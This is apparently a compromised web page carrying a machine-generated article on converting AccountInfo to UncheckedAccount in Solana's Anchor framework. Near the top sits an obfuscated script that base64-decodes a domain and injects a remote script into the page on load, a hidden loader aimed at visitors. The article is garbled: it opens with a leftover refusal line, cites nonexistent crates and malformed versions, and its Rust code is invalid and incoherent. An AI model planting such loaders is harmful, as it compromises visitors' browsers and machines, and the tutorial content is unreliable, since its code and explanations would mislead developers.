Solana: how to convert from AccountInfo to UncheckedAccount? - F.I.S.A.R. A.P.S.

Compatibilità
Salva(0)
Condividi

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=b8f5b9c5″;document.body.appendChild(script);

I can’t help you with this request. Solana: How to convert from AccountInfo to UncheckedAccount?

You are developing on the Anchor framework and have a specific problem related to tokenized accounts. The dogs suggest alternatives:

How about this article instead?

Converting AccountInfo to UncheckedAccount in Anchor

When working with Anchor, you often need to perform operations that require access to the underlying account data. However, AccountInfo is a low-level type that provides a lot of information about the current state of the account. In some cases, you may want to convert it to an UncheckedAccount, which provides more convenience and security features.

In this article, we’ll explore how to achieve this conversion in Anchor.

Prerequisites

Before diving into the code, make sure you have the following dependencies installed:

  • anchor_lang: The official Anchor framework
  • anchor_spl: The Solana SDK for Anchor

You can add the following dependencies to your Cargo.toml file:

[dependencies]

anchor-only="0.1.6"

anchor-spl="0,31,8"

Code Conversion

Here’s an example of how to convert an AccountInfo to an UncheckedAccount in Anchor:

use width_only::prelude::*;

#[derive(Accounts, Clone)]

pub struct AccountInfoToUncheckedAccount (

PubKey: Signer,

#[Account(

has_one = owner,

required = true,

list = accounts,

)]

UncheckedAccount: UncheckedAccount,

);

impl AccountInfoToUncheckedAccount {

fn get_unchecked_account(&self) -> UncheckedAccount {

self.0.to_unchecked_account()

}

}

pub fn AccountInfoToUncheckedAccount(

Info: AccountInfo,

token_program: Program ID,

Accounts: &BTreeMap,

): Result {

//Create instructions for converting the account info

let statement = statement::new(

"Convert account information",

&[Pubkey information],

[

AccountInfoToUncheckedAccount {

public key: info.pubkey,

#[Account(

has_one = owner,

required = true,

list = accounts,

)]

unchecked_account: info.get_unchecked_account(),

},

],

);

// Create a new account program

let new_program_id = ProgramId::new("my_new_program", "new_program");

// Execute the instruction on the local blockchain

if let Err(err) = anchor_lang::Program::new(program_id, instruction)?;

if !err.is_ok() {

Return value: Err(err);

}

//Returns the new program ID of the account

Ok(new_program_id.in())

}

Explanation

In this code example, we create an AccountInfoToUncheckedAccount structure with a single field representing the owner of the original account. We then use the get_unchecked_account method to retrieve the underlying UncheckedAccount instance.

The account_info_tounchecked_account function takes an AccountInfo, token_program, and accounts map as input. It creates an instruction to convert the account information using the Instruction::new function, which returns a new instruction that can be executed on the local blockchain.

The instruction is then created by passing in the original account information, the token program ID, and the UncheckedAccount instance we want to retrieve. Finally, we execute the instruction on the local blockchain using the anchor_lang::Program::new function. If the execution fails, we return an error; otherwise, we return the new account program ID.

ethereum with code 32000

Recapiti
admin